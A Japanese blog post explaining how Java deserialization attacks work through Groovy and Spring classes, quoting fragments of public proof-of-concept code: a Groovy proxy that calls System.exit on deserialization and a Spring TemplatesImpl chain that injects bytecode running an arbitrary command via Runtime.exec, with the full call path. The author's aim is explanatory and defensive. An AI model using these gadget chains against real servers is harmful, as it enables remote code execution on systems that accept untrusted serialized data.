読者です 読者をやめる 読者になる 読者になる

この日記は私的なものであり、所属会社の見解ではありません。 GitHub: takahashikzn

SpringとGroovyにも直列化オブジェクト脆弱性

Java

昨日の記事の続きです。

昨日はcommons-collectionsについて、どのような仕組みで攻撃が成功しうるかを書きました。

しかしこの問題はcommons-collections限定ではなく、GroovyまたはSpringFrameworkのクラスをロードしている環境でも起こりえます。

攻撃が成立する条件

攻撃のキーとなるのは2点。

  • リフレクションでメソッド呼び出しを行う何らかのクラスがロード済みである
  • そのクラスのインスタンスは直列化可能である


この条件を満たすクラスは、commons-collectionsではInvokerTransformerが該当しましたが、

が似たような機能を持ちます。


POCのコードを見ると分かるのですが、実際の攻撃ではこの他にも特殊なクラスを用います。

Groovy編

攻撃の要は、ConvertedClosureとMethodClosureの華麗な連携です。 ConvertedClosureはjava.lang.reflect.InvocationHandlerのインスタンスでもあるので、POCのコードにある通りに、

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;


final InvocationHandler handler = new ConvertedClosure(
    new MethodClosure(System.class, "exit"), "entrySet");

final Map shutdownOnEntrySet = Proxy.newProxyInstance(
    Object.class.getClassLoader(), new Class[] { Map.class }, handler);

というプロキシオブジェクトをサーバへ送りつけると、受けた側でshutdownOnEntrySet.entrySet()を呼び出した瞬間にSystem#exitが実行されます。

更に、

Object shutdownOnDeserialize = enforceInstantiateNonPublicClass(
    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"),
    new Object[]{
        Override.class, // アノテーションクラスなら何でも良い
        shutdownOnEntrySet
    }
);

というオブジェクトをサーバへ送りつけると、受けた側でデシリアライズした瞬間にSystem#exitが実行されるようにできます。 AnnotationInvocationHandler#readObjectの内部でshutdownOnEntrySet.entrySet()を呼び出しているからです。

Spring編

攻撃の要は、TemplatesImplに任意のクラスのバイトコードをぶち込み、クラスのスタティックイニシャライザ経由で任意のコマンドが実行されるようにしていることです。 POCではこのように、Javassistで動的にクラスを作っています。

public static TemplatesImpl createTemplatesImpl(final String command) 
        throws Exception {

    final TemplatesImpl templates = new TemplatesImpl();     
        
    // use template gadget class
    ClassPool pool = ClassPool.getDefault();

        ...


    // run command in static initializer
    clazz.makeClassInitializer().insertAfter(
            "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");

        ...
        
    final byte[] classBytes = clazz.toBytecode();
        
    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes,
        ClassFiles.classAsBytes(Foo.class)});
    
        ...

    return templates;
}

あとは、何とかしてTemplatesImpl#newTransformerをサーバ側で実行させればよいわけですが、 そこに至るルートは次の通りです。

ObjectInputStream.readObject()

  SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()

    SerializableTypeWrapper.TypeProvider(Proxy).getType()

      AnnotationInvocationHandler.invoke() // ←TypeかつTemplatesのプロキシを返す

      Method.invoke() // ←Templatesのメソッド呼び出し

        Templates(Proxy).newTransformer()

          AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()

            // ObjectFactory.getObjectの戻り値はバイトコードを仕込んだTemplatesImpl
            ObjectFactory(Proxy).getObject()
              AnnotationInvocationHandler.invoke()

            Method.invoke()
              TemplatesImpl.newTransformer()
                TemplatesImpl.getTransletInstance()
                  TemplatesImpl.defineTransletClasses()
                    TemplatesImpl.TransletClassLoader.defineClass()
                      Pwner*(Javassist-generated).<static init>
                        Runtime.exec()

よくもまぁこんな複雑なルートを見つけたものだと、ある意味感心します。

対応策は?

GroovyとSpringのどちらも対応版が近日中にリリースされる模様なので、そちらへ更新する以外は無いと思います。

しかし根本的な対応策は前回の記事で書いた通り、 そもそも、信頼出来ないクライアントから直列化オブジェクトを受け取らない しかありません。 オブジェクト直列化に関連した脆弱性は、これからも出てきます。場当たり的な対応はやめるべきです。

*1:任意の振る舞いをするProxyインスタンスを作れることに等しい